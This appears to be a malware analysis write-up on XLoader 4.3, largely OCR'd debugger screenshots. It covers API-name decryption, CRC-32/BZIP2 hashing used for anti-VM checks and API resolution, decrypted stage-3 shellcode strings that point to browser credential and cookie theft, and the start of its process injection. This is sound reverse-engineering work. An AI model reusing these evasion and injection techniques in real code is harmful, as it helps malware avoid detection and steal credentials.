00CFEBA0 ED A4 57 F9 24 64 7E EE 76 C5 B4 C9 BE 17 3A F7 í¤Wù\$d~îvÅ′ɾ.:÷ 00CFEBB0 A5 13 49 6D 95 31 38 D5 86 5F E3 04 C8 E5 DF 58 ¥.Im•18Õ† ã.ÈåßX 00CFEBC0 EB 35 1F 8C A9 45 03 3C 9B 90 EA 8A D2 A6 E2 6B ë5.Œ0E.<>.êŠÒ¦âk 00CFEBD0 6C 4E AF BD D7 F4 B0 FB FA FD 56 53 42 59 FC 66 1N^{-%}xô°ûúýVSBYüf 00CFEBE0 8F 7C 36 9A B8 CD EC 48 BA 91 C0 7D 05 30 47 34 .|6š_ĺìHº'À}.0G4 00CFEBF0 2C 39 D3 3E 0A 2F 82 E1 46 D8 20 87 B6 1A FE 16 ,9ó>./,áFØ·‡9.þ. 00CFEC00 D6 7A 85 28 0D DE A0 10 93 D4 07 80 B5 8B 92 08 Öz…(.⊨ ."Ô.€µ‹'. 00CFEC10 6A 02 E6 0C 4B 9D 65 3A 50 00 00 D1 38 EC CF 00 j.æ.K.e:P..Ñ8ìÏ. 00CFEC20 C7 CE 5E 00 78 EC CF 00 0D 00 00 00 7C ED CF 00 ÇÎ^.xìÏ.....|íÏ. 00CFEC30 58 EE CF 00 2C EE CF 00 E4 ED CF 00 8B F9 5F 00 XîÏ.,îÏ.äíÏ.‹ù . 00CFEC40 78 EC CF 00 0D 00 00 00 7C ED CF 00 7C ED CF 00 xìÏ.....|íÏ.|íÏ. 00CFEC50 7C ED CF 00 58 EE CF 00 00 00 00 00 7C ED CF 00 |íÏ.XîÏ.....|íÏ. 00CFEC60 78 EC CF 00 74 F4 CF 00 0D 00 00 00 79 EC CF 00 xìÏ.tôÏ.....yìÏ. 00CFEC70 00 00 00 00 03 01 00 00 6B 65 72 6E 65 6C 33 32kernel32 00CFEC80 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 .dll.....

0	Hex Vie	w-1																	8	×
000	FEC20	CC	ED	CF	00	8B	F9	5F	00	60	EC	CF	00	ØD	00	00	00	ÌíÏ.‹ù`ìÏ		~
000	FEC30	64	ED	CF	00	64	ED	CF	00	64	ED	CF	00	58	EE	CF	00	díÏ.díÏ.díÏ.XîÏ.		
000	FEC40	00	00	00	00	64	ED	CF	00	60	EC	CF	00	81	F4	CF	00	díÏ.`ìÏôÏ.		
																		aìÏ		
000	FEC60	61	64	76	61	70	69	33	32	2E	64	6C	6C	00	00	00	00	advapi32.dll		
000	FEC70	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			
000	FEC80	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			
000	FEC90	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			
000	FECA0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			

• These libraries are then loaded by the native function LdrLoadDII



Decrypting API Names:

- Some of the APIs that are being decrypted suggests that it looks for further Process Injection
 - LookupPrivilegeValueW
 - SeDebugPrivilege
 - AdjustPrivilegeToken


🖸 Hex Vie	w-1																	8	×	👿 General registers
00CFEB80	BC	EB	CF	00	BC	EB	CF	00	0D	00	00	00	C0	EC	CF	00	%ëÏ.%ëÏÀì	_	^	EAX 00CFEBEE Stack[00000CEC]:00CFEBEE
00CFEB90	C0	EC	CF	00	C 0	EC	CF	00					00				ÀìÏ.ÀìÏ.ííÏ			EBX 00CFED88 Stack[00000CEC]:00CFED88
00CFEBA0	C0	EC	CF	00	BC	EB	CF	00	DD	F3	CF	00	ØD	00	00	00	ÀìÏ.¼ëÏ.ÝóÏ			ECX 00000000 4
00CFEBB0		EB											61				%ëÏac	dva		
00CFEBC0	70	69	33	32	2E	64	6C	6C	00	00	00	00	53	00	65	00	pi32.dllS.	.e.		EDX 00CFED00 🗣 Stack[00000CEC]:00CFED00
00CFEBD0	44	00	65	00	62	00	75	00	67	00	50	00	72	00	69	00	D.e.b.u.g.P.r.	.i.		ESI 00CFE24D 🖌 "SeDebugPrivilege"
00CFEBE0	76	00	69	00	6C	00	65	00	67	00	65	00	00	00	00	00	v.i.l.e.g.e			EDI 0000001 \
00CFEBF0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				EBP 00CFECDC Stack[00000CEC]:00CFECDC
00CFEC00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				ESP 00CFDEAC Stack[00000CEC]:00CFDEAC
00CFEC10	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				
00CFEC20	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				EIP 005ED446 🖌 sub_5ED2D3+173
00CFEC30	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				EFL 00000244
00CFEC40	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				
00CFEC50	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				
00CFEC60	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				

👿 General registers

EAX 76A0A230	4	advapi32.dll:advapi32_LookupPrivilegeValueW
EBX 008F0000	4	TIB[00000F7C]:008F0000
ECX 76C11DE3	÷.	
EDX 00B21DE3	4	debug030:00B21DE3
ESI 0070F55C	4	Stack[00000F7C]:0070F55C
EDI 0070F97C	4	Stack[00000F7C]:0070F97C
EBP 0070EA04	4	Stack[00000F7C]:0070EA04
ESP 0070E9EC	4	Stack[00000F7C]:0070E9EC
EIP 005FEAD2	4	sub_5FEAB3+1F
EFL 00000204		

Computing String Hashes:

- There is a hashing algorithm used for strings, apis etc.
- It loads all the string hashes and compare the running processes with each hash value, if it finds any such process, it adds desired value on the anti-vm flag on conf obj.
- In the screenshot below, it is checking the process name hash with the value of pre-defined set of hashes that it stored.



- The hash value that is it is comparing to is **23 E0 C7 CD** which in hex is (0xCDC7E023).
- I have checked 32-bit hashing algorithms by calculating the hash of procmon and found the hashing algorithm that it uses.
- It uses CRC-32/BZIP2 hashing for its strings


Input: (ASCII O HEX	Output: HE 	X O DEC O C] Show pro	cessed data	(HEX)
		CRC-	8 CRC-16	CRC-32			
Algorithm	Result	Check	Poly	Init	RefIn	RefOut	XorOut
<u>CRC-32</u>	0x5BA9B1FE	0xCBF43926	0x04C11DB7	0xFFFFFFFF	true	true	0xffffffff
CRC-32/BZIP2	0xCDC7E023	0xFC891918	0x04C11DB7	0xFFFFFFFF	false	false	0xffffffff
CRC-32/JAMCRC	0xA4564E01	0x340BC6D9	0x04C11DB7	0xFFFFFFFF	true	true	0x0000000
CRC-32/MPEG-2	0x32381FDC	0x0376E6E7	0x04C11DB7	0xFFFFFFFF	false	false	0×0000000
CRC-32/POSIX	0x05B5FE0A	0x765E7680	0x04C11DB7	0x00000000	false	false	0xffffffff
CRC-32/SATA	0x6495BF2F	0xCF72AFE8	0x04C11DB7	0x52325032	false	false	0x0000000
CRC-32/XFER	0xC021CFDE	0xBD0BE338	0x000000AF	0×00000000	false	false	0×0000000
<u>CRC-32C</u>	0xD4B5F5B8	0xE3069283	0x1EDC6F41	0xFFFFFFFF	true	true	0xffffffff
<u>CRC-32D</u>	0xE2C9C329	0x87315576	0xA833982B	0xFFFFFFFF	true	true	0xffffffff
<u>CRC-32Q</u>	0x931D23B2	0x3010BF7F	0x814141AB	0x00000000	false	false	0x0000000
			Share your resu	H-			

All the hashes that it checks are listed below:


1	86 90 BE 3E	0x3EBE9086	vmwareuser.exe
2	B5 DD 6F 4C	0x4C6FDDB5	vmwareservice.exe
3	3E B1 6D 27	0x276DB13E	vboxservice.exe
4	8E 0A 0F E0	0xE00F0A8E	vboxtray.exe
5	04 94 CF 85	0x85CF9404	sandboxiedcomlaunch.exe
6	84 87 24 B2	0xB2248784	sandboxierpcss.exe
7	23 E0 C7 CD	0xCDC7E023	procmon.exe
8	50 5F 1F 01	0x011F5F50	filemon.exe
9	1C BC D4 1D	0x1DD4BC1C	wireshark.exe
10	E2 FC 35 82	0x8235FCE2	netmon.exe
11	D5 E2 2C C7	0xC72CE2D5	
12	8B 17 63 02	0x0263178B	
13	56 53 58 57	0x57585356	
14	40 52 B9 9C	0x9CB95240	sharedintapp.exe
15	EF 9F C3 0C	0x0CC39FEF	
16	57 AC 47 93	0x9347AC57	vmsrvc.exe
17	DC 22 95 9D	0x9D9522DC	vmusrvc.exe
18	0E C7 1B 91	0x911BC70E	python.exe
19	B9 3D 44 74	0x74443DB9	perl.exe
20	A9 1A 4C F0	0xF04C1AA9	regmon.exe

Computing API Hashes:

- Similar to strings hashes
- The APIs that are being loaded from injected **ntdll** are also called by hashes instead of names
- This method makes detection very hard even for manually analyzing the malware.
- The malware loads all exports of ntdll one by one and computes the CRC-32/BZIP2 hash of those apis then compares it with its decrypted hashes.
- If a match is found, then it retrieves the address and call the function, hence bypassing all API hooks.



- I wrote a little script that does the same, I provide the hash and it searches in a list of commonly used strings, apis, paths etc, computes their hashes and then compares with the provided hash to check weather a match has been found or not.
- Here in this case, the hash matched on **NtResumeThread** API call, so malware will exit the loop and continues to retrieve the address and then call the api.
- It manually searches for the address of desired API and calls it, this way the debugger is also not able to detect which API is being called.
- In the screenshot below, I have opened another instance of same dll in IDA with symbols and we can see the hex value that is being pushed onto eax register is the same.




- I know the hashing function, so instead of stepping through this native assembly of hundreds of functions in a loop, I have just setup the breakpoint on that function by writing IDA python script and just continuing again and again to see the decrypted APIs
- The List of APIs that I found are listed below:

1	NtOpenDirectoryObject	
2	NtCreateMutant	
3	RtlSetEnvironmentVariable	
4	NtCreateSection	
5	NtMapViewOfSection	
6	NtOpenProcess	
7	RtlAllocHeap	
8	NtQueryInformationToken	
9	NtProtectVirtualMemory	
10	NtCreateFile	
11	NtDelayExecution	
12	NtReadVirtualMemory	
13	NtOpenThread	
14	NtReadFile	
15	NtUnmapViewOfSection	
16	NtResumeThread	
17	ExitProcess	
18	NtQuerySystemInformation	
19	NtOpenProcessToken	
20	NtAdjustPrivilegesToke	
21	NtReadVirtualMemory	
22	RtlQueryEnvironmentVariable	
23	RtlDosPathNameToNtPathName_U	
24	NtSuspendThread	
25	NtGetContextThread	
26	NtSetContextThread	

Decrypting Core Malicious Functions:

- The malware decrypts its core functions at run-time and then jumps to those functions continuing the execution flow.
- Xloader sets up a function by **push ebp** and **mov ebp**, **esp** and other starting instructions but below these all bytes are encrypted.
- In previous versions of formbook, the core malicious functions could be identified by the magic bytes of 48909090, 49909090 etc.
- However, in the latest xloader 4.3 these starting bytes are random.
- After the anti-vm checks and establishing the RC4 decryption key. These functions are decrypted at run-time and the execution flow jumped to the decrypted assembly.
- IDA resolves the decrypted bytes and recreates assembly instructions to continue.



		,		
	.text:005EDDEE			
	.text:005EDDEF	,		
EIP	.text:005EDDEF			
	.text:005EDDF0		Replaced with identified	
	.text:005EDDF1		flag bytes	
	.text:005EDDF2		liag bytes	
	.text:005EDDF3			
	.text:005EDDF4		ebx, ebx	
1	.text:005EDDF6		2A4h	
	.text:005EDDFB		eax, [ebp-564h]	
	.text:005EDE01		ebx	
	.text:005EDE02		eax	
1	.text:005EDE03		[ebp-568h], ebx	
1	.text:005EDE09		sub_600283	
	.text:005EDE0E		2A4h	
	.text:005EDE13		ecx, [ebp-2BCh]	
	.text:005EDE19		ebx	
	.text:005EDE1A		ecx	
	.text:005EDE1B		[ebp-2C0h], ebx	
	.text:005EDE21		sub_600283	
	.text:005EDE26		206h	
	.text:005EDE2B		eax, [ebp-76Eh]	
	.text:005EDE31		edx, edx	
	.text:005EDE33		ebx	
	<pre>.text:005EDE34 .text:005EDE35</pre>		eax dword ptr [ebp-14h], 8B55FF8Bh	Accombly
	.text:005EDE35		dword ptr [ebp-14h], 0555Frobh dword ptr [ebp-10h], 0E8ECh	Assembly
	.text:005EDE3C		[ebp-0Ch], bx	concreted from
•	.text:005EDE45		[ebp-770h], dx	generated from
•	.text:005EDE4F		sub 600283	de en unte el les stars
•	.text:005EDE53		esi, [ebp+8]	decrypted bytes
•	.text:005EDE56		10h	
•	.text:005EDE58		ecx, [ebp-770h]	
	. concrete server			

Understanding the detailed technical methodology of decrypting these encryption and obfuscation techniques. This following blog by **zscaler** is an excellent resource.

https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-s-code-obfuscation-version-4-3

Partially Decrypted Shellcode:

- Stepped over a few functions and it looks like it reads itself and most likely trying to inject itself in some other process
- The malware is now preparing for another binary to inject further. As can be seen in the screenshot of the dump that I found in the memory
- This memory dump is **RWX** memory region in itself as can be seen in the process hacker

O Hex View-1	🗖 🗗 🗙 👿 General registers
0136FFC0 ??	????????????????????????????????????
01370000 81 37 8F C8 4C 67 90 51 40 00 51 61 68 CF 76 44 80 EA EA FA 5F E9 CF 7C 84 90 15 013700F0 D8 E1 A9 64 EF A8 A1 66 FA B4 66 FA B4 66 67 A8 A8 16 67 FA FE B2 C7 C4 49 15 01370100 78 C8 7E 17 10 08 D5 FB A2 C0 E8 77 A8 6A 47 72 26 F7 01370110 A8 B4 E6 10 60 70 A9 15 64 9A 7A 3D FA 22 41 01370130 68 B4 E5 17 FF <	<pre>/KUj - 0.P5eit 7. Eig.Q00gAKItd 9 _H ekzú éI[,,°] 2. édišs.cdm., ~`ò 2. édišs.cdm., ~`ò 010FEI58 010FEI68 Stack[00001FAC]:010FE804 910FE150 010FE98C 910FE164 00000600 010FE164 00001600 010FE168 67452301 910FE168 67452301 910FE168 67452301 910FE168 67452301 910FE168 67452301 910FE168 67452301 910FE168 67452301 910FE168 67452301 910FE169 988ADCFE 910FE174 10325476 910FE174 0325476 910FE178 0000000 010FE178 0000000 010FE178 0000000 010FE180 00000000 010FE188 910FE188 910FE418 Stack[00001FAC]:010FE418 910FE184 00000000 910FE180 00000000 910FE180 00000000 910FE180 00000000 910FE180 00000000 910FE180 00000000 910FE190 00000000</pre>

136FFF0 ?? ?? ?? ?? ?? 1370000 4D 5A 07 E8 1370010 25 85 0E E8 1370020 C2 86 7F 38 1370030 F3 DD BF A9	?? ?? ?? ?? ?? E7 F5 D6 83 40 Al AE 50 BF DF E6 80 D4 9B A6 D1 1A Dl E6 30 80 7B 77 Al	?? ?? ?? ?? ?? ?? ?? ????????????????	×
13	rformance Threads To	00000000 d 5a 07 e8 e7 f5 d6 83 40 ad a9 5a 09 a6 08 a8 MZ6Z 00000010 25 85 0e e8 as 50 bf df e6 8b 9c dc 71 al 75 3f %Pq.u? 0000020 c2 86 7f 38 d4 9b a6 dl la d2 24 2f b8 l2 53 l486/.S. 0000030 f3 dd bf a9 e6 30 80 7b 77 aa c7 c3 8a f1 b6 ea0.(w 00000040 75 52 75 4c b3 a7 82 3d dc 7e 48 49 d4 77 54 68 uRuL=H.WTh	A Refresh
13 Base address 13 0x1715000 13 0x1755000 13 0x1755000 13 0x17c5000 13 0x17c4c000 13 0x14c4c000 13 0x1e4c000 13 0x1e4c000 13 0x5e1000	Type Private: Commit Private: Commit Private: Commit Private: Commit Private: Commit Image: Commit	00000050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f is program canno 00000060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 f 53 20 t be run in DOS 00000070 6d 6f 64 65 2e f4 c0 43 ee 84 73 46 da 20 b8 65 modeC.sF. e 00000080 f5 ae b4 c4 le al d9 9d fb ll ad ed e2 ll cd 6esF. H. 00000090 fa 3d 32 c6 9d 92 b4 fe 01 83 cc 35 18 48 9e 96 .=25.H. 00000000 b4 7a 37 87 ef dd 13 23 ca 7d e2 b4 1f c8 bb 8.z7¢.) 00000000 8e 2a 72 f5 4c d6 f7 0a 5e e4 3f lb b0 a0 36 f3 .*r.L^?6. 00000000 2f 52 d4 3b 2d 13 a0 f0 07 de 73 14 05 ea 7f a3 /R.;s 00000000 13 78 6f e8 4c 67 90 51 4d d0 51 61 6b cf 87 64 .7Lg.QM.Qak.d 0000000 ae 5f 14 48 a0 ea 89 eb fa 5f e9 cf 7c 84 b0 15H	nared V ^
13 0x1370000 13 0x180000 13 0x75701000 13 0x76520000 13 0x7651000 13 0x7691000 13 0x7691000 13 0x76691000 13 0x7601000	Mapped: Com Private: Commit Image: Commit Image: Commit Image: Commit Image: Commit Image: Commit Image: Commit	00000100 1d 8e 13 a9 64 ef 8a ba 16 6f 8c 6d 11 7e 99 d2do.m.~. 00000100 78 c8 7e 17 10 0b d5 fb ea 25 cb 86 43 72 26 f7 x.~§.Crs. 00000110 a8 54 86 ff 5e 13 ea 2c 00 e8 77 a8 6a 54 75 23 .T.^^jTu# 00000120 d6 b6 9b 0e 45 1d 8c 0a 21 5b a1 a0 20 5b e9 32E![[.2 00000130 d6 b4 6e 31 00 7d ba 91 54 64 9a 7a 3d fa 22 41 k.nl.]Id.z=."A 00000140 10 51 f1 96 06 c9 b7 ff e5 27 f4 85 dc e7 02 ac Q' 00000150 ae d4 55 a9 13 d5 02 d0 5b 0a 7e 4c 54 17 a8 12U[.~LT 00000160 6e c0 0a 18 1d b7 5c c1 7f b1 4a 9c 3f bf 78 4f n	180 244 40 60 100 140 348 4

- I stepped over a few functions while monitoring the memory region.
- The malware is decrypting the shellcode from the binary
- Only plain shellcode is left without MZ headers
- This is the 3rd stage xloader which is partially decrypted
- I dumped the binary from memory and run a FLOSS string search on it which provides some useful insights

neral Statistics F	Performance Threads	Token Module	es Memory	Environment Handles G	PU Comme	nt						_		
Hide free regions									Strings		Refresh			
Base address	Туре	Size	Protect	Use		Total	WS	Private WS	Shareable	WS	Shared V	^		
0x10fa000	Private: Commit	8 kB	RW+G	Stack 32-bit (thread 8108)							_			
0x1225000	Private: Commit	12 kB	RW+G	Stack (thread 7508)	🔳 dump.ex	e (4444) (0x137	0000 - 0x139d	1000)				- 0	
0x159c000	Private: Commit	8 kB	RW+G	Stack 32-bit (thread 7508)										
0x15d5000	Private: Commit	12 kB	RW+G	Stack (thread 7308)	00000000	18 69 6	3 db	b5 c8 ab 1	bf b6 85	c3 55	91 80 a	4 7b	.ic	
0x16dd000	Private: Commit	8 kB	RW+G	Stack 32-bit (thread 7308)	00000010	2 01 4	3 45	lf 2c lb (d8 al 4a	cd 43	f5 82 9	d 84	CE.,J.C	-
0x1715000	Private: Commit	12 kB	RW+G	Stack (thread 1252)									h(C.8?m5e.	
0x1755000	Private: Commit	12 kB	RW+G	Stack (thread 6412)									6mHkG	
0x17c5000	Private: Commit	12 kB	RW+G	Stack (thread 1620))]TR.{ ZP9"	
0x1c4c000	Private: Commit	8 kB	RW+G	Stack 32-bit (thread 1252)									2990g	
0x1d4c000	Private: Commit	8 kB	RW+G	Stack 32-bit (thread 6412)									1onkhI	
0x1e4d000	Private: Commit	8 kB	RW+G	Stack 32-bit (thread 1620)									L11nH.2.	
0x5e1000	Image: Commit	184 kB	RWX	C:\Users\shaddy\Desktop\	00000090	65 ed 1	4 40	b4 de 3b	13 59 dd	92 b3	94 b8 0	f 89	e@;.Y	
0x1370000	Mapped: Com	180 kB	RWX										Jj.Bn;o.Pb	
0x1800000	Private: Commit		RWX										v.efkt.3.	
0x75701000	Image: Commit	692 kB	RX	C:\Windows\SysWOW64\r									E.fX5am1	
0x76620000	Image: Commit	404 kB	RX	C:\Windows\SysWOW64\k									.JbGE!- Ma.rS6i.	
0x76731000	Image: Commit	412 kB	RX	C:\Windows\SysWOW64\s									Pl	
0x769f1000	Image: Commit	424 kB	RX	C:\Windows\SysWOW64\a)eib.n	
0x76c91000	Image: Commit	708 kB	RX	C:\Windows\SysWOW64\n	00000110	54 c5 c	1 bd	eb a5 34	9a 86 b3	c9 52	76 d6 2	5 ee	d4Rv.%.	
0x76d51000	Image: Commit	2,028 kB	RX	C:\Windows\SysWOW64W									Cb3Y.I	
0x77601000	Image: Commit	12 kB	RX										8m.dl8D	
0x77607000	Image: Commit	4 kB	RX	C:\Windows\System32\wo									XB:S.A.J	
0x77611000	<												.u.*0g.Y~A .Yw.WXPO	
													wFvbF w.*?.	
													TQu\\	
					00000190 (32 33 e	4 7b	79 lb da	05 75 4b	da b8	c6 d7 a	l bb	.3.{yuK	
													wy.rls	
													Ve@.OFZ.	
													M.XQG`fS.f.	
													u}.i.^X	
													`6u.>D	

	e	cmd
--	---	-----

🕼 cmd	Webselded	
INFO: floss.results: Password		
INFO: floss.results: 2016		
INFO: floss.results: urlmon.dll Conkernesh (UP Options) and Find h		
INFO: floss.results: User-Agent: Docesses Services Network Disk		
INFO: floss.results: Local State		
INFO: floss.results: Windows Explorer		disel name
INFO: floss.results: Windows Explorer		DESKTOP-002II
INFO: floss.results: POST		
INFO: floss.results: wininet.dll		
INFO: floss.results: gggB		l .
INFO: floss.results: InternetOpenA		l .
INFO: floss.results: InternetConnectA		l .
INFO: floss.results: HttpOpenRequestA		l i i i i i i i i i i i i i i i i i i i
INFO: floss.results: HttpSendRequestA		l .
INFO: floss.results: InternetReadFile		
INFO: floss.results: InternetCloseHandle		l i i i i i i i i i i i i i i i i i i i
INFO: floss.results: MS-WAPI-		
extracting stackstrings: 100%		
INFO: floss.tightstrings: extracting tightstrings from 43	3 functions	l i i i i i i i i i i i i i i i i i i i
INFO: floss.results: aaH8m\t<		l i
INFO: floss.results: http://www.sqlite.org/2014/sqlite-dl	11-win32-x86-3080300.zip	
extracting tightstrings from function 0x6b0ff3: 100%		
INFO: floss.string_decoder: decoding strings		l .
<pre>INFO: floss.results: >@@@?456789:;<=</pre>		l .
INFO: floss.results: !"#\$%&'()*+,/0123	11.1	l .
INFO: floss.results: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghi	JKImnopqrstuvwxyz0123456789+7	l .
INFO: floss.results: Pm1n		l .
INFO: floss.results: ~F@7%m\$~ INFO: floss.results: ~draGon~		
INFO: floss.results: explorer.exe INFO: floss.results: Microsoft\Windows		
INFO: floss.results: Microsoft\Windows		
INFO. TIUSS. results. COOKIES		

Ext	Extracted Stings from Xloader 4.3 Stage3 shellcode							
Ext 1	Extracted Stings fro	2016 2012 2008 open \explorer.exe windir .exe \rundll32.exe \System32 \SystWOW64 windir .exe .dll \Current Session \INetCookies \Microsoft\Windows .sqlite \Cookies \explorer.exe windir Clipboard Unknown [System] USERNAME .dll log.ini sog.ini ProgramFiles SysWOW64 SELECT name, value FROM autofill name value: datetime SELECT host_key, path, is_secure, expires_utc, name, value, encrypted_value FROM cookies FALSE						

\Firefox
CurrentVersion
Main
Install Directory
guid
httpRealm
hostname
profiles.ini
PATH
Thunderbird
Firefox
null
Account
Password
POP3Account
POP3Password
Account.stg
Fox Recovery
\Program Files
Opera
Chrome
\3r9Pk-75_
Recovery
\Opera Software\Opera Stable
\Opera Software\Opera Stable
!"#\$%&'()*+,/:;<=>?@[\]^_`{ }~
encrypted_key
Local State
Pass
User
Internet Explorer\IntelliForms\Storage2
Pass
Name
Vault
lexplor
Outlook Recovery
Password
2016
urlmon.dll
User-Agent:
Local State
Windows Explorer
Windows Explorer
POST
wininet.dll
gggB
InternetOpenA

		InternetConnectA HttpOpenRequestA HttpSendRequestA InternetReadFile InternetCloseHandle MS-WAPI-
2	Floss decoded & tight strings	

Process Enumeration:

• XLoader uses **NtQuerySystemInformation** to get information of all running processes in the system and then enumerates one-by-one checking and matching hashes with its own hash values stored in conf obj.


77	00	69	00	6E	00	6C	00	6F	00	67	00	6F	00	6E	00	w.i.n.l.o.g.o.n. e.x.e
2E	00	65	00	78	00	65	00	00	00	00	00	00	00	00	00	e.x.e
																s.e.r.v.i.c.e.s.
2E	00	65	00	78	00	65	00	00	00	00	00	00	00	00	00	e.x.e

Process Injection:

Xloader Injection Overview:

Xloader stage2 performs two process injections:

- Injection#1: in a random running process to start the win32 victim process in suspended state
- Injection#2: migrate itself into win32 suspended process and resume •



- 4. ret instruction to saved CONTEXT.Eip
- 5. NtReadVirutalMemory
- 6. NtOpenProcess, NtMapViewOfSection
- 7. NtOpenThread, NtResumeThread

Injection # 1

- Another memory has been reserved in the malware with RWX memory region. •
- I have dumped this new region and extracted the strings •
- It has a single static string which contains the name of the target process •

Private: Commit	8 KB	RW+G	Stack 32-bit (thread 7308)				
Private: Commit	12 kB	RW+G	Stack (thread 1252)				
Private: Commit	12 kB	RW+G	Stack (thread 6412)				
Private: Commit	12 kB	RW+G	Stack (thread 1620)				
Private: Commit	8 kB	RW+G	Stack 32-bit (thread 1252)				
Private: Commit	8 kB	RW+G	Stack 32-bit (thread 6412)				
Private: Commit	8 kB	RW+G	Stack 32-bit (thread 1620)				
Image: Commit	184 kB	RWX	C:\Users\shaddy\Desktop\dump.exe	184 kB	184 kB		
Private: Commit	64 kB	RWX		64 kB	64 kB		
Private: Commit	64 kB	RWX		64 kB	64 kB		
Mapped: Com	180 kB	RWX		180 kB		180 kB	180
Private: Commit	3,376 kB	RWX		3,376 kB	3,376 kB		
Mapped: Com	1,076 kB	RWX		1,076 kB		1,076 kB	1,076
Image: Commit	ecc la	DV.	CultifiedourolSuroMOM64lucor22.dll	oc lvp	4 1/2	021/8	07
Image: 🛈 cmd							
Image: Commit	100 kB	RX	Ct\Windows\SysWOW64\mm32.dll	20 kB		20 KB	21
Image: Commit							
Image: Commit							
Image: Commit and	111265		Children Syster Weterstall				
< FLOSS	STATIC	STRINGS	: UTF-16LE (2)				
+			+				
5 4 F 3/		~					
			kdsk ovo				
	JWS (SYSW	0004 (CII	KUSK.exe				
	Private: Commit Private: Commit Private: Commit Private: Commit Private: Commit Private: Commit Private: Commit Mapped: Com Private: Commit Mapped: Com Image:	Private: Commit 12 kB Private: Commit 12 kB Private: Commit 12 kB Private: Commit 8 kB Private: Commit 8 kB Private: Commit 184 kB Private: Commit 184 kB Private: Commit 64 kB Private: Commit 64 kB Private: Commit 3,376 kB Mapped: Com 180 kB Private: Commit 3,376 kB Mapped: Com 1,076 kB Image: Commit 2,376 kB Image: Comm	Private: Commit 12 kB RW+G Private: Commit 12 kB RW+G Private: Commit 12 kB RW+G Private: Commit 8 kB RW+G Private: Commit 8 kB RW+G Private: Commit 184 kB RWX Private: Commit 64 kB RWX Private: Commit 64 kB RWX Private: Commit 64 kB RWX Private: Commit 3,376 kB RWX Mapped: Com 180 kB RWX Mapped: Com 180 kB RWX Image: Commit 3,376 kB RWX Image: Commit 64 kB RWX Image: Commit 64 kB RWX Image: Commit 7,076 kB RWX Image: Commit 64 kB RWX Image: Commit 7,076 kB RWX Image: Commit 64 kB RWX Image: Commit 7,076	Private: Commit 12 kB RW +G Stack (thread 1252) Private: Commit 12 kB RW +G Stack (thread 1252) Private: Commit 12 kB RW +G Stack (thread 1620) Private: Commit 12 kB RW +G Stack 32-bit (thread 1252) Private: Commit 8 kB RW +G Stack 32-bit (thread 1252) Private: Commit 8 kB RW +G Stack 32-bit (thread 1252) Private: Commit 8 kB RW +G Stack 32-bit (thread 6412) Private: Commit 8 kB RW +G Stack 32-bit (thread 1620) Image: Commit 184 kB RWX C:\Users\shaddy\Desktop\dump.exe Private: Commit 64 kB RWX Private: Commit 3,376 kB Mapped: Com 180 kB RWX Etc. LD DY Cultifiedous\Dump.exe Image:	Private: Commit 12 kB RW+G Stack (thread 1252) Private: Commit 12 kB RW+G Stack (thread 6412) Private: Commit 12 kB RW+G Stack (thread 1620) Private: Commit 8 kB RW+G Stack 32-bit (thread 1620) Private: Commit 8 kB RW+G Stack 32-bit (thread 1620) Private: Commit 8 kB RW+G Stack 32-bit (thread 1620) Image: Commit 184 kB RWX C:\Users\shaddy\Desktop\dump.exe 184 kB Private: Commit 64 kB RWX 64 kB 64 kB Private: Commit 64 kB RWX 64 kB 64 kB Private: Commit 64 kB RWX 180 kB 64 kB Private: Commit 3,376 kB RWX 180 kB 1076 kB	Private: Commit 12 kB RW+6 Stack (thread 1252) Private: Commit 12 kB RW+6 Stack (thread 6412) Private: Commit 12 kB RW+6 Stack (thread 1620) Private: Commit 8 kB RW+6 Stack 32-bit (thread 1620) Private: Commit 8 kB RW+6 Stack 32-bit (thread 1620) Private: Commit 8 kB RW+6 Stack 32-bit (thread 1620) Image: Commit 184 kB RWX C:\Users\shaddy\Desktop\dump.exe 184 kB 184 kB Private: Commit 64 kB RWX 64 kB 64 kB 64 kB Private: Commit 64 kB RWX 64 kB 64 kB Private: Commit 3,376 kB 3,376 kB 3,376 kB Mapped: Com 1,076 kB RWX 1,076 kB 1,076 kB Image: Cross Start Common Com	Private: Commit 12 kB RW+6 Stack (thread 1252) Private: Commit 12 kB RW+6 Stack (thread 1620) Private: Commit 12 kB RW+6 Stack (thread 1252) Private: Commit 12 kB RW+6 Stack 32-bit (thread 1252) Private: Commit 8 kB RW+6 Stack 32-bit (thread 6412) Private: Commit 8 kB RW+6 Stack 32-bit (thread 1620) Image: Commit 18 kB RWX C:\Users\shaddy\Desktop\dump.exe 184 kB Private: Commit 64 kB 64 kB 64 kB Private: Commit 64 kB RWX 180 kB 180 kB Private: Commit 3,376 kB RWX 180 kB 180 kB Private: Commit 3,376 kB RWX 1,076 kB 1,076 kB Mapped: Com 1,076 kB RWX 1,076 kB 0,1076 kB Image: Commit 0,076 kB 0,076 kB 0,016 0,016 Image: Commit 0,076 kB 0,076 kB 0,016 0,016 0,016 Image: Commit 0,076 kB 0,016 <td< td=""></td<>

- It means that this shellcode is used for starting the process **chkdsk.exe** which is randomized on every execution.
- Xloader selects these binaries from SysWOW64 directory, which are 32-bit processes
- It injects this shellcode in one of the above enumerated running processes, which in my case is a 64-bit IDA that I had opened along with my debugger.

1:08:4 💱ida64.exe	9016 and C:\Windows\SysWOW64\chkdsk.exe	SUCCESS
1:08:4 🟶ida64.exe	9016 🐂 CreateFileMappC:\Windows\SysWOW64\chkdsk.exe	FILE LOCKED WITH
1:08:4 🟶ida64.exe	9016 🐂 QueryStandardIC:\Windows\SysWOW64\chkdsk.exe	SUCCESS
1:08:4 🏶ida64.exe	9016 🐂 ReadFile C:\Windows\SysWOW64\chkdsk.exe	SUCCESS
